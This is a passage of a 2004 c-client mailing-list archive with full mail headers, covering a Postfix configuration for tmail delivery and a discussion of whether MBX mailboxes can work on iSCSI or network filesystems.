verify=NO); Tue, 23 Nov 2004 03:57:05 -0800 Received: from host (lists.u.washington.edu [140.142.56.13]) by list3.u.washington.edu (8.13.1+UW04.08/8.13.1+UW04.08) with SMTP id iANBuxwL005332; Tue, 23 Nov 2004 03:56:59 -0800 Received: from mxe3.u.washington.edu (mxe3.u.washington.edu [140.142.32.137]) by lists.u.washington.edu (8.13.1+UW04.08/8.13.1+UW04.08) with ESMTP id iANBu7ad114218 for ; Tue, 23 Nov 2004 03:56:08 -0800 Received: from smtp1.powertech.no (smtp1.powertech.no [195.159.0.145]) by mxe3.u.washington.edu (8.13.1+UW04.08/8.13.1+UW04.09) with ESMTP id iANBu6rZ023261 for ; Tue, 23 Nov 2004 03:56:07 -0800 Received: from [195.159.6.24] (ws24.ns5.powertech.no [195.159.6.24]) by smtp1.powertech.no (Postfix) with ESMTP id 4731081BF; Tue, 23 Nov 2004 12:56:05 +0100 (CET) Message-Id: Date: Tue, 23 Nov 2004 12:56:03 +0100 Sender: C-CLIENT-owner@u.washington.edu Precedence: bulk List-Help: List-Unsubscribe: List-Subscribe: List-Owner: (Human contact for the list) List-Post: From: Frode Nordahl To: adamo@central.tee.gr Cc: c-client@u.washington.edu Subject: Re: tmail and Postfix In-Reply-To: <41A320AB.7010501@central.tee.gr> References: <41A320AB.7010501@central.tee.gr> Mime-Version: 1.0 (Apple Message framework v619) Content-Type: text/plain; charset=US-ASCII; format=flowed Content-Transfer-Encoding: 7bit X-Uwash-Spam: Gauge=IIIIIII, Probability=7%, Report='__CT 0, __CTE 0, __CT_TEXT_PLAIN 0, __HAS_MSGID 0, __MIME_VERSION 0, __MIME_VERSION_APPLEMAIL 0, __MSGID_APPLEMAIL 0, __SANE_MSGID 0' X-Listprocessor-Version: 8.1 -- ListProcessor(tm) by CREN On Nov 23, 2004, at 12:36, Yiorgos Adamopoulos wrote: > Does anyone use tmail as the local delivery agent for Postfix? I want > to have MBX mailboxes and Postfix as my MTA. I use the following config. main.cf: mailbox_transport = tmail # Don't run tmail with multiple recipients tmail_destination_recipient_limit = 1 master.cf: tmail unix - n n - - pipe flags=R eol=\r\n user=nobody argv=/usr/local/libexec/tmail ${user} You may also want to modify tmail to actually return errors when it fails. By default it returns a temporary error no matter what the error was. See tmail.c in function fail() (line 535). If you don't do this you might end up with enormous mailqueues with undeliverable mail. Mvh, Frode Nordahl > TIA. > -- > ------------------------------------------------------------------ > For information about this mailing list, and its archives, see: > http://www.washington.edu/imap/c-client-list.html > ------------------------------------------------------------------ From pinedev@shivax2.cac.washington.edu Tue Nov 23 08:58:04 2004 -0800 Return-Path: Received: via tmail-2000(13) (invoked by user mailnull) for mailarch+c-client; Tue, 23 Nov 2004 08:58:04 -0800 (PST) Return-Path: Received: from mx1.cac.washington.edu (mx1.cac.washington.edu [140.142.32.140]) by groupms.cac.washington.edu (8.13.1+UW04.08/8.13.1+UW04.08) with ESMTP id iANGw4KI018221 for ; Tue, 23 Nov 2004 08:58:04 -0800 Received: from list4.u.washington.edu (list4.u.washington.edu [140.142.14.167]) by mx1.cac.washington.edu (8.13.1+UW04.08/8.13.1+UW04.09) with ESMTP id iANGw2ug031463 (version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=NO); Tue, 23 Nov 2004 08:58:02 -0800 Received: from host (lists.u.washington.edu [140.142.56.13]) by list4.u.washington.edu (8.13.1+UW04.08/8.13.1+UW04.08) with SMTP id iANGvl55011164; Tue, 23 Nov 2004 08:57:47 -0800 Received: from mxi1.u.washington.edu (mxi1.u.washington.edu [140.142.32.143]) by lists.u.washington.edu (8.13.1+UW04.08/8.13.1+UW04.08) with ESMTP id iANGuaOU093480 for ; Tue, 23 Nov 2004 08:56:36 -0800 Received: from mxout6.cac.washington.edu (mxout6.cac.washington.edu [140.142.33.20]) by mxi1.u.washington.edu (8.13.1+UW04.08/8.13.1+UW04.09) with ESMTP id iANGuaxj011282 (version=TLSv1/SSLv3 cipher=EDH-RSA-DES-CBC3-SHA bits=168 verify=NO) for ; Tue, 23 Nov 2004 08:56:36 -0800 Received: from shiva0.cac.washington.edu (shiva0.cac.washington.edu [140.142.37.170]) by mxout6.cac.washington.edu (8.13.1+UW04.08/8.13.1+UW04.09) with ESMTP id iANGuZk6024100; Tue, 23 Nov 2004 08:56:35 -0800 Received: from localhost (mrc@localhost) by shiva0.cac.washington.edu (8.13.1+UW04.08/8.13.1+UW04.08) with ESMTP id iANGuZbG012678; Tue, 23 Nov 2004 08:56:35 -0800 Message-Id: Date: Tue, 23 Nov 2004 08:56:35 -0800 (PST) Sender: C-CLIENT-owner@u.washington.edu Precedence: bulk List-Help: List-Unsubscribe: List-Subscribe: List-Owner: (Human contact for the list) List-Post: From: Mark Crispin To: Yiorgos Adamopoulos Cc: c-client@u.washington.edu Subject: Re: MBX mailboxes over iSCSI In-Reply-To: <41A3215D.8000400@central.tee.gr> References: <41A3215D.8000400@central.tee.gr> MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII; format=flowed X-Uwash-Spam: Gauge=IIIIIII, Probability=7%, Report='__CT 0, __CT_TEXT_PLAIN 0, __HAS_MSGID 0, __MIME_VERSION 0, __SANE_MSGID 0' X-Listprocessor-Version: 8.1 -- ListProcessor(tm) by CREN On Tue, 23 Nov 2004, Yiorgos Adamopoulos wrote: > Does anybody have any experiense on such a configuration? iSCSI partitions > look like local disks to the OS (or at least this is my understandig) but in > truth they reside on another server on the network. I doubt very much that mbx format will work on any network filesystem, even if the locking problem is solved. The only network filesystem that I know of in which mbx would work was the old TOPS-20 from two decades ago, and only because that filesystem had rigorous token passing on a page to guarantee that updates were atomic across all users of the network filesystem. -- Mark -- http://staff.washington.edu/mrc Science does not emerge from voting, party politics, or public debate. Si vis pacem, para bellum. From pinedev@shivax2.cac.washington.edu Tue Nov 23 10:09:24 2004 -0800 Return-Path: Received: via tmail-2000(13) (invoked by user mailnull) for mailarch+c-client; Tue, 23 Nov 2004 10:09:24 -0800 (PST) Return-Path: Received: from mx1.cac.washington.edu (mx1.cac.washington.edu [140.142.32.140]) by groupms.cac.washington.edu (8.13.1+UW04.08/8.13.1+UW04.08) with ESMTP id iANI9Ouq020923 for ; Tue, 23 Nov 2004 10:09:24 -0800 Received: from list3.u.washington.edu (list3.u.washington.edu [140.142.8.100]) by mx1.cac.washington.edu (8.13.1+UW04.08/8.13.1+UW04.09) with ESMTP id iANI9Npa003721 (version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=NO); Tue, 23 Nov 2004 10:09:24 -0800 Received: from host (lists.u.washington.edu [140.142.56.13]) by list3.u.washington.edu (8.13.1+UW04.08/8.13.1+UW04.08) with SMTP id iANI9Gec003698; Tue, 23 Nov 2004 10:09:17 -0800 Received: from mxe5.u.washington.edu (mxe5.u.washington.edu [140.142.32.168]) by lists.u.washington.edu (8.13.1+UW04.08/8.13.1+UW04.08) with ESMTP id iANI87ZV049660 for ; Tue, 23 Nov 2004 10:08:07 -0800 Received: from supermarine.crossflight.co.uk (supermarine.crossflight.co.uk [195.172.72.3]) by mxe5.u.washington.edu (8.13.1+UW04.08/8.13.1+UW04.09) with ESMTP id iANI7h84029541 (version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=NO) for ; Tue, 23 Nov 2004 10:08:06 -0800 Received: from mailscan1.crossflight.co.uk (mailscan1.crossflight.co.uk [195.172.72.202]) by supermarine.crossflight.co.uk (8.12.9p2/8.12.9) with ESMTP id iANI7eMJ095208 for ; Tue, 23 Nov 2004 18:07:41 GMT (envelope-from guy@crossflight.co.uk) Received: from [195.172.72.7] (unverified) by mailscan1.crossflight.co.uk (Content Technologies SMTPRS 4.3.1) with ESMTP id ; Tue, 23 Nov 2004 18:07:40 +0000 Message-Id: <41A37C6C.6020002@crossflight.co.uk> Date: Tue, 23 Nov 2004 18:07:40 +0000 Reply-To: guy@crossflight.co.uk Sender: C-CLIENT-owner@u.washington.edu Precedence: bulk List-Help: List-Unsubscribe: List-Subscribe: List-Owner: (Human contact for the list) List-Post: From: Guy Dawson To: Mark Crispin Cc: Yiorgos Adamopoulos , c-client@u.washington.edu Subject: Re: MBX mailboxes over iSCSI In-Reply-To: References: <41A3215D.8000400@central.tee.gr> MIME-Version: 1.0 Content-Type: text/plain; charset=ISO-8859-1; format=flowed Content-Transfer-Encoding: 7bit X-Accept-Language: en-us, en X-Spam-Status: No, hits=-4.7 required=5.0 tests=AWL,BAYES_00 autolearn=no version=2.63-supermarine_global_rules_20040702b X-Spam-Checker-Version: SpamAssassin 2.63-supermarine_global_rules_20040702b (2004-01-11) on supermarine.crossflight.co.uk X-Uwash-Spam: Gauge=IIIIIII, Probability=7%, Report='__CT 0, __CTE 0, __CT_TEXT_PLAIN 0, __HAS_MSGID 0, __MIME_VERSION 0, __SANE_MSGID 0' X-Listprocessor-Version: 8.1 -- ListProcessor(tm) by CREN Mark Crispin wrote: > On Tue, 23 Nov 2004, Yiorgos Adamopoulos wrote: > >> Does anybody have any experiense on such a configuration? iSCSI >> partitions look like local disks to the OS (or at least this is my >> understandig) but in truth they reside on another server on the network. > > > I doubt very much that mbx format will work on any network filesystem, > even if the locking problem is solved. The only network filesystem that > I know of in which mbx would work was the old TOPS-20 from two decades > ago, and only because that filesystem had rigorous token passing on a > page to guarantee that updates were atomic across all users of the > network filesystem. It's my understanding that iSCSI does not implement a network filesystem but simply (?) a way to transport a SCSI bus over an IP infrastructure. iSCSI servers can be configured to support multiple seperate iSCSI targets (logical disks) for multiple seperate iSCSI clients (servers). Each server having it's own logical disk. In this instance there is no shared file system. However all file systems are stored on a single storage server which can then have a central backup system. Chances are an iSCSI server can be configured to enable to clients to access the same filesystem. At this point if the two clients cannot co-ordinate access then IMAP won't be able to either. Guy -- -------------------------------------------------------------------- Guy Dawson I.T. Manager Crossflight Ltd guy@crossflight.co.uk 07973 797819 01753 776104 ********************************************************************** This email contains the views and opinions of a Crossflight Limited employee and at this stage are in no way a direct representation of Crossflight Limited. This email and any files transmitted with it are confidential and intended solely for the use of the individual or entity to whom they are addressed. If you have received this email in error please notify the system manager. To ensure the integrity and appropriate use of its email system, Crossflight Limited reserves the right to examine any email held on its email system or sent to or from it. This footnote also confirms that this email message has been swept by MIMEsweeper for the presence of computer viruses. We strongly recommend that you check this email with your own virus software as Crossflight Limited will not be held responsible for any damage caused by viruses as a result of opening this email. ********************************************************************** From pinedev@shivax2.cac.washington.edu Tue Nov 23 10:47:45 2004 -0800 Return-Path: Received: via tmail-2000(13) (invoked by user mailnull) for mailarch+c-client; Tue, 23 Nov 2004 10:47:45 -0800 (PST) Return-Path: Received: from mx1.cac.washington.edu (mx1.cac.washington.edu [140.142.32.140]) by groupms.cac.washington.edu (8.13.1+UW04.08/8.13.1+UW04.08) with ESMTP id iANIljQt022582 for ; Tue, 23 Nov 2004 10:47:45 -0800 Received: from list2.u.washington.edu (list2.u.washington.edu [140.142.14.165]) by mx1.cac.washington.edu (8.13.1+UW04.08/8.13.1+UW04.09) with ESMTP id iANIliZn006245 (version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=NO); Tue, 23 Nov 2004 10:47:45 -0800 Received: from host (lists.u.washington.edu [140.142.56.13]) by list2.u.washington.edu (8.13.1+UW04.08/8.13.1+UW04.08) with SMTP id iANIlbdO002810; Tue, 23 Nov 2004 10:47:37 -0800 Received: from mxi3.u.washington.edu (mxi3.u.washington.edu [140.142.32.176]) by lists.u.washington.edu (8.13.1+UW04.08/8.13.1+UW04.08) with ESMTP id iANIkHv0050724 for ; Tue, 23 Nov 2004 10:46:17 -0800 Received: from mxout5.cac.washington.edu (mxout5.cac.washington.edu [140.142.32.135]) by mxi3.u.washington.edu (8.13.1+UW04.08/8.13.1+UW04.09) with ESMTP id iANIkHox001092 (version=TLSv1/SSLv3 cipher=EDH-RSA-DES-CBC3-SHA bits=168 verify=NO) for ; Tue, 23 Nov 2004 10:46:17 -0800 Received: from smtp.washington.edu (smtp.washington.edu [140.142.32.139]) by mxout5.cac.washington.edu (8.13.1+UW04.08/8.13.1+UW04.09) with ESMTP id iANIkGdN023205; Tue, 23 Nov 2004 10:46:16 -0800 Received: from Tomobiki-Cho.CAC.Washington.EDU (tomobiki-cho.cac.washington.edu [128.95.135.58]) (authenticated bits=0) by smtp.washington.edu (8.13.1+UW04.08/8.13.1+UW04.11) with ESMTP id iANIkGPq011953 (version=TLSv1/SSLv3 cipher=RC4-MD5 bits=128 verify=NOT); Tue, 23 Nov 2004 10:46:16 -0800 Message-Id: Date: Tue, 23 Nov 2004 10:48:18 -0800 (Pacific Standard Time) Sender: C-CLIENT-owner@u.washington.edu Precedence: bulk List-Help: List-Unsubscribe: List-Subscribe: List-Owner: (Human contact for the list) List-Post: From: Mark Crispin To: Guy Dawson Cc: Yiorgos Adamopoulos , c-client@u.washington.edu Subject: Re: MBX mailboxes over iSCSI In-Reply-To: <41A37C6C.6020002@crossflight.co.uk> References: <41A3215D.8000400@central.tee.gr> MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII; format=flowed X-Sender: mrc@ndcms.cac.washington.edu X-Uwash-Spam: Gauge=IIIIIII, Probability=7%, Report='__CT 0, __CT_TEXT_PLAIN 0, __HAS_MSGID 0, __MIME_VERSION 0, __SANE_MSGID 0' X-Listprocessor-Version: 8.1 -- ListProcessor(tm) by CREN On Tue, 23 Nov 2004, Guy Dawson wrote: > iSCSI servers can be configured to support multiple seperate iSCSI > targets (logical disks) for multiple seperate iSCSI clients (servers). > Each server having it's own logical disk. In this instance there is no > shared file system. However all file systems are stored on a single > storage server which can then have a central backup system. If that is the case, it *may* work if locking is solved. The instant that there is more than one client that has access to one of those filesystems, it will not work. -- Mark -- http://staff.washington.edu/mrc Science does not emerge from voting, party politics, or public debate. Si vis pacem, para bellum. From pinedev@shivax2.cac.washington.edu Tue Nov 23 11:02:26 2004 -0800 Return-Path: Received: via tmail-2000(13) (invoked by user mailnull) for mailarch+c-client; Tue, 23 Nov 2004 11:02:26 -0800 (PST) Return-Path: Received: from mx1.cac.washington.edu (mx1.cac.washington.edu [140.142.32.140]) by groupms.cac.washington.edu (8.13.1+UW04.08/8.13.1+UW04.08) with ESMTP id iANJ2QaQ023100 for ; Tue, 23 Nov 2004 11:02:26 -0800 Received: from list1.u.washington.edu (list1.u.washington.edu [140.142.8.99]) by mx1.cac.washington.edu (8.13.1+UW04.08/8.13.1+UW04.09) with ESMTP id iANJ2PKh007164 (version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=NO); Tue, 23 Nov 2004 11:02:25 -0800 Received: from host (lists.u.washington.edu [140.142.56.13]) by list1.u.washington.edu (8.13.1+UW04.08/8.13.1+UW04.08) with SMTP id iANJ2Fm7017542; Tue, 23 Nov 2004 11:02:15 -0800 Received: from mxe3.u.washington.edu (mxe3.u.washington.edu [140.142.32.137]) by lists.u.washington.edu (8.13.1+UW04.08/8.13.1+UW04.08) with ESMTP id iANJ1O6o050714 for ; Tue, 23 Nov 2004 11:01:24 -0800 Received: from pat.cryst.bbk.ac.uk (pat-ext.cryst.bbk.ac.uk [193.61.32.113]) by mxe3.u.washington.edu (8.13.1+UW04.08/8.13.1+UW04.09) with ESMTP id iANJ1K4M002962 (version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=NO) for ; Tue, 23 Nov 2004 11:01:21 -0800 Received: from katchoo.cryst.bbk.ac.uk (katchoo.cryst.bbk.ac.uk [193.61.35.179]) by pat.cryst.bbk.ac.uk (8.12.8/8.12.8) with ESMTP id iANJ0c3j007401 for ; Tue, 23 Nov 2004 19:00:38 GMT Message-Id: Date: Tue, 23 Nov 2004 19:00:38 +0000 (GMT Standard Time) Sender: C-CLIENT-owner@u.washington.edu Precedence: bulk List-Help: List-Unsubscribe: List-Subscribe: List-Owner: (Human contact for the list) List-Post: From: Richard Westlake To: c-client@u.washington.edu Subject: Re: MBX mailboxes over iSCSI In-Reply-To: <41A3215D.8000400@central.tee.gr> References: <41A3215D.8000400@central.tee.gr> MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII X-X-Sender: richards@pat-new.cryst.bbk.ac.uk X-cryst-bbk-ac-uk-MailScanner-Information: Please contact CCSG more information (http://www.cryst.bbk.ac.uk/CCSG/) X-cryst-bbk-ac-uk-MailScanner: Found to be clean X-cryst-bbk-ac-uk-MailScanner-SpamCheck: not spam, SpamAssassin (score=-4.9, required 9, autolearn=not spam, BAYES_00 -4.90) X-Uwash-Spam: Gauge=IIIIIII, Probability=7%, Report='__CT 0, __CT_TEXT_PLAIN 0, __HAS_MSGID 0, __MIME_VERSION 0, __SANE_MSGID 0' X-Listprocessor-Version: 8.1 -- ListProcessor(tm) by CREN Hi all I would also be interested in hearing about anyone using SAN technologies especially iSCSI to provide storage to a sendmail/IMAP server? I like to idea of being able to move the storage off the server to improve reliability. We could move the service (and data) between servers with just a few commands, useful when a server fails. Software updates could be installed and tested during the week on a backup server with only a small brake in service when they are put into production, should reduce the amount of weekend and out of hours working. >From comments on the list I/O seems to be critical performance factor, I don't know if iSCSI would cause problems with this. My setup is probably quite small, with several hundred user but less than 100 actually connected at anyone time and the total disk space for email is about 45Gbyte. We have a small number of users who don't use folders and keep everything in their inbox. As a result some of the inboxes contain thousands of messages and range in size from a few hundred Mbyte to over a Gbyte, opening these takes some time and puts a load on the server. For anyone new to iSCSI here is a short description iSCSI is a Storage Area Network rather then a network file system, think of a Fibre Channel SAN but using IP and Gigabit Ethernet to deliver the block level access rather than Fibre Channel. http://whatis.techtarget.com/definition/0,,sid9_gci750136,00.html or a google search http://www.google.com/search?hl=en&q=iscsi&btnG=Google+Search To the host it looks like any other SCSI disk which you create a standard file system on. Partitions or LUNs are not usually accessed by more then one host between unless you are using a special file system. By centralising the storage away from the server you gain economies of scale and manageability. Also if a server fails it's easy and very quick to remount the partition on a different server and resume service. There is no need to move disks or cables between servers, you might need to update the SAN access rules to allow the new server to see the disk. Backup can be easer if your storage array also includes features such as snapshots. Richard Westlake School of Crystallography, Birkbeck College, Malet Street, London WC1E 7HX Tel: 020-7631-6859 ---------------------------------------------------------------------- Truth endures but spelling changes -- Anon. ---------------------------------------------------------------------- On Tue, 23 Nov 2004, Yiorgos Adamopoulos wrote: > Date: Tue, 23 Nov 2004 13:39:09 +0200 > From: Yiorgos Adamopoulos > To: c-client@u.washington.edu > Subject: MBX mailboxes over iSCSI > > Does anybody have any experiense on such a configuration? iSCSI > partitions look like local disks to the OS (or at least this is my > understandig) but in truth they reside on another server on the network. > > I am going to have 20K mailboxes, but by 2005/06 I may be forced to > increase this number to an order of magnitude (nearing 100K) > -- > ------------------------------------------------------------------ > For information about this mailing list, and its archives, see: > http://www.washington.edu/imap/c-client-list.html > ------------------------------------------------------------------ > From pinedev@shivax2.cac.washington.edu Wed Nov 24 02:22:05 2004 -0800 Return-Path: Received: via tmail-2000(13) (invoked by user mailnull) for mailarch+c-client; Wed, 24 Nov 2004 02:22:05 -0800 (PST) Return-Path: Received: from mx1.cac.washington.edu (mx1.cac.washington.edu [140.142.32.140]) by groupms.cac.washington.edu (8.13.1+UW04.08/8.13.1+UW04.08) with ESMTP id iAOAM4KH022831 for ; Wed, 24 Nov 2004 02:22:04 -0800 Received: from list2.u.washington.edu (list2.u.washington.edu [140.142.14.165]) by mx1.cac.washington.edu (8.13.1+UW04.08/8.13.1+UW04.09) with ESMTP id iAOAM3kY024953 (version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=NO); Wed, 24 Nov 2004 02:22:04 -0800 Received: from host (lists.u.washington.edu [140.142.56.13]) by list2.u.washington.edu (8.13.1+UW04.08/8.13.1+UW04.08) with SMTP id iAOALpUK002604; Wed, 24 Nov 2004 02:21:51 -0800 Received: from mxe1.u.washington.edu (mxe1.u.washington.edu [140.142.32.136]) by lists.u.washington.edu (8.13.1+UW04.08/8.13.1+UW04.08) with ESMTP id iAOAKfki068612 for ; Wed, 24 Nov 2004 02:20:41 -0800 Received: from supermarine.crossflight.co.uk (supermarine.crossflight.co.uk [195.172.72.3]) by mxe1.u.washington.edu (8.13.1+UW04.08/8.13.1+UW04.09) with ESMTP id iAOAKbcN020701 (version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=NO) for ; Wed, 24 Nov 2004 02:20:40 -0800 Received: from mailscan1.crossflight.co.uk (mailscan1.crossflight.co.uk [195.172.72.202]) by supermarine.crossflight.co.uk (8.12.9p2/8.12.9) with ESMTP id iAOAKYMJ013520 for ; Wed, 24 Nov 2004 10:20:35 GMT (envelope-from guy@crossflight.co.uk) Received: from [195.172.72.7] (unverified) by mailscan1.crossflight.co.uk (Content Technologies SMTPRS 4.3.1) with ESMTP id ; Wed, 24 Nov 2004 10:20:34 +0000 Message-Id: <41A46072.6010305@crossflight.co.uk> Date: Wed, 24 Nov 2004 10:20:34 +0000 Reply-To: guy@crossflight.co.uk Sender: C-CLIENT-owner@u.washington.edu Precedence: bulk List-Help: List-Unsubscribe: List-Subscribe: List-Owner: (Human contact for the list) List-Post: From: Guy Dawson To: Mark Crispin Cc: Yiorgos Adamopoulos , c-client@u.washington.edu Subject: Re: MBX mailboxes over iSCSI In-Reply-To: References: <41A3215D.8000400@central.tee.gr> MIME-Version: 1.0 Content-Type: text/plain; charset=ISO-8859-1; format=flowed Content-Transfer-Encoding: 7bit X-Accept-Language: en-us, en X-Spam-Status: No, hits=-4.7 required=5.0 tests=AWL,BAYES_00 autolearn=no version=2.63-supermarine_global_rules_20040702b X-Spam-Checker-Version: SpamAssassin 2.63-supermarine_global_rules_20040702b (2004-01-11) on supermarine.crossflight.co.uk X-Uwash-Spam: Gauge=IIIIIII, Probability=7%, Report='__CT 0, __CTE 0, __CT_TEXT_PLAIN 0, __HAS_MSGID 0, __MIME_VERSION 0, __SANE_MSGID 0' X-Listprocessor-Version: 8.1 -- ListProcessor(tm) by CREN Mark Crispin wrote: > On Tue, 23 Nov 2004, Guy Dawson wrote: > >> iSCSI servers can be configured to support multiple seperate iSCSI >> targets (logical disks) for multiple seperate iSCSI clients (servers). >> Each server having it's own logical disk. In this instance there is no >> shared file system. However all file systems are stored on a single >> storage server which can then have a central backup system. > > > If that is the case, it *may* work if locking is solved. Agreed! If iSCSI 'sits' in the same place as ATA, SATA, SCSI, Fibre Channel etc. then locking should work over iSCSI. I'd still want to test it a lot before rolling out a production server using it. > The instant that there is more than one client that has access to one of > those filesystems, it will not work. Definatly agreed! Guy -- -------------------------------------------------------------------- Guy Dawson I.T. Manager Crossflight Ltd guy@crossflight.co.uk 07973 797819 01753 776104 ********************************************************************** This email contains the views and opinions of a Crossflight Limited employee and at this stage are in no way a direct representation of Crossflight Limited. This email and any files transmitted with it are confidential and intended solely for the use of the individual or entity to whom they are addressed. If you have received this email in error please notify the system manager. To ensure the integrity and appropriate use of its email system, Crossflight Limited reserves the right to examine any email held on its email system or sent to or from it. This footnote also confirms that this email message has been swept by MIMEsweeper for the presence of computer viruses. We strongly recommend that you check this email with your own virus software as Crossflight Limited will not be held responsible for any damage caused by viruses as a result of opening this email. ********************************************************************** From pinedev@shivax2.cac.washington.edu Wed Nov 24 05:04:31 2004 -0800 Return-Path: Received: via tmail-2000(13) (invoked by user mailnull) for mailarch+c-client; Wed, 24 Nov 2004 05:04:31 -0800 (PST) Return-Path: Received: from mx1.cac.washington.edu (mx1.cac.washington.edu [140.142.32.140]) by groupms.cac.washington.edu (8.13.1+UW04.08/8.13.1+UW04.08) with ESMTP id iAOD4Vrl028708 for ; Wed, 24 Nov 2004 05:04:31 -0800 Received: from list4.u.washington.edu (list4.u.washington.edu [140.142.14.167]) by mx1.cac.washington.edu (8.13.1+UW04.08/8.13.1+UW04.09) with ESMTP id iAOD4Ubl000449 (version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=NO); Wed, 24 Nov 2004 05:04:31 -0800 Received: from host (lists.u.washington.edu [140.142.56.13]) by list4.u.washington.edu (8.13.1+UW04.08/8.13.1+UW04.08) with SMTP id iAOD4Hju008622; Wed, 24 Nov 2004 05:04:17 -0800 Received: from mxe1.u.washington.edu (mxe1.u.washington.edu [140.142.32.136]) by lists.u.washington.edu (8.13.1+UW04.08/8.13.1+UW04.08) with ESMTP id iAOD31vH114728 for ; Wed, 24 Nov 2004 05:03:01 -0800 Received: from mail1.RZ.Uni-Augsburg.DE (mail1.RZ.Uni-Augsburg.DE [137.250.121.10]) by mxe1.u.washington.edu (8.13.1+UW04.08/8.13.1+UW04.09) with ESMTP id iAOD309a022541 for ; Wed, 24 Nov 2004 05:03:00 -0800 Received: from bernina.physik.uni-augsburg.de ([137.250.80.10]) by mail1.RZ.Uni-Augsburg.DE with esmtp (Exim 4.34) id 1CWwnT-000NwE-Fk for c-client@u.washington.edu; Wed, 24 Nov 2004 14:02:59 +0100 Received: from watzmann.physik.uni-augsburg.de ([137.250.80.192]) by bernina.Physik.Uni-Augsburg.DE with esmtp (Exim 4.30) id 1CWwnP-000Bi2-Hn for c-client@u.washington.edu; Wed, 24 Nov 2004 14:02:55 +0100 Message-Id: <41A4867E.9050109@Physik.Uni-Augsburg.DE> Date: Wed, 24 Nov 2004 14:02:54 +0100 Sender: C-CLIENT-owner@u.washington.edu Precedence: bulk List-Help: List-Unsubscribe: List-Subscribe: List-Owner: (Human contact for the list) List-Post: From: Ralf Utermann To: c-client@u.washington.edu Subject: Re: MBX mailboxes over iSCSI In-Reply-To: References: <41A3215D.8000400@central.tee.gr> MIME-Version: 1.0 Content-Type: text/plain; charset=ISO-8859-1; format=flowed Content-Transfer-Encoding: 8bit X-Accept-Language: en-us, en X-Enigmail-Version: 0.89.0.0 X-Enigmail-Supports: pgp-inline, pgp-mime X-Virus-Scanned: 5bf2036c876a4538fcc914dfc2715fce X-Uwash-Spam: Gauge=IIIIIII, Probability=7%, Report='__C230066_P5 0, __CT 0, __CTE 0, __CT_TEXT_PLAIN 0, __HAS_MSGID 0, __MIME_VERSION 0, __SANE_MSGID 0' X-Listprocessor-Version: 8.1 -- ListProcessor(tm) by CREN Mark Crispin wrote: [...] > I doubt very much that mbx format will work on any network filesystem, > even if the locking problem is solved. The only network filesystem that > I know of in which mbx would work was the old TOPS-20 from two decades > ago, and only because that filesystem had rigorous token passing on a > page to guarantee that updates were atomic across all users of the > network filesystem. I am quite sure, that DCE/DFS would allow mbx. It is good, stable and mature technology. End of service for IBMs DCE/DFS for AIX is April/2006. Sigh. Bye, Ralf -- Ralf Utermann _____________________________________________________________________ Universität Augsburg, Institut für Physik -- EDV-Betreuer Universitätsstr.1 D-86135 Augsburg Phone: +49-821-598-3231 SMTP: Ralf.Utermann@Physik.Uni-Augsburg.DE Fax: -3411 From pinedev@shivax2.cac.washington.edu Thu Nov 25 03:39:17 2004 -0800 Return-Path: Received: via tmail-2000(13) (invoked by user mailnull) for mailarch+c-client; Thu, 25 Nov 2004 03:39:17 -0800 (PST) Return-Path: Received: from mx1.cac.washington.edu (mx1.cac.washington.edu [140.142.32.140]) by groupms.cac.washington.edu (8.13.1+UW04.08/8.13.1+UW04.08) with ESMTP id iAPBdGAH004438 for ; Thu, 25 Nov 2004 03:39:16 -0800 Received: from list3.u.washington.edu (list3.u.washington.edu [140.142.8.100]) by mx1.cac.washington.edu (8.13.1+UW04.08/8.13.1+UW04.11) with ESMTP id iAPBdFEP018695 (version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=NO); Thu, 25 Nov 2004 03:39:16 -0800 Received: from host (lists.u.washington.edu [140.142.56.13]) by list3.u.washington.edu (8.13.1+UW04.08/8.13.1+UW04.08) with SMTP id iAPBd2Xb012402; Thu, 25 Nov 2004 03:39:02 -0800 Received: from mxe3.u.washington.edu (mxe3.u.washington.edu [140.142.32.137]) by lists.u.washington.edu (8.13.1+UW04.08/8.13.1+UW04.08) with ESMTP id iAPBZowf119856 for ; Thu, 25 Nov 2004 03:35:50 -0800 Received: from supermarine.crossflight.co.uk (supermarine.crossflight.co.uk [195.172.72.3]) by mxe3.u.washington.edu (8.13.1+UW04.08/8.13.1+UW04.09) with ESMTP id iAPBZl3U019955 (version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=NO) for ; Thu, 25 Nov 2004 03:35:49 -0800 Received: from mailscan1.crossflight.co.uk (mailscan1.crossflight.co.uk [195.172.72.202]) by supermarine.crossflight.co.uk (8.12.9p2/8.12.9) with ESMTP id iAPBZiMJ048565 for ; Thu, 25 Nov 2004 11:35:44 GMT (envelope-from guy@crossflight.co.uk) Received: from [195.172.72.7] (unverified) by mailscan1.crossflight.co.uk (Content Technologies SMTPRS 4.3.1) with ESMTP id ; Thu, 25 Nov 2004 11:35:43 +0000 Message-Id: <41A5C38F.6000009@crossflight.co.uk> Date: Thu, 25 Nov 2004 11:35:43 +0000 Reply-To: guy@crossflight.co.uk Sender: C-CLIENT-owner@u.washington.edu Precedence: bulk List-Help: List-Unsubscribe: List-Subscribe: List-Owner: (Human contact for the list) List-Post: From: Guy Dawson To: Ralf Utermann Cc: c-client@u.washington.edu Subject: Re: MBX mailboxes over iSCSI In-Reply-To: <41A4867E.9050109@Physik.Uni-Augsburg.DE> References: <41A3215D.8000400@central.tee.gr> MIME-Version: 1.0 Content-Type: text/plain; charset=ISO-8859-1; format=flowed Content-Transfer-Encoding: 7bit X-Accept-Language: en-us, en X-Spam-Status: No, hits=-4.7 required=5.0 tests=AWL,BAYES_00 autolearn=no version=2.63-supermarine_global_rules_20040702b X-Spam-Checker-Version: SpamAssassin 2.63-supermarine_global_rules_20040702b (2004-01-11) on supermarine.crossflight.co.uk 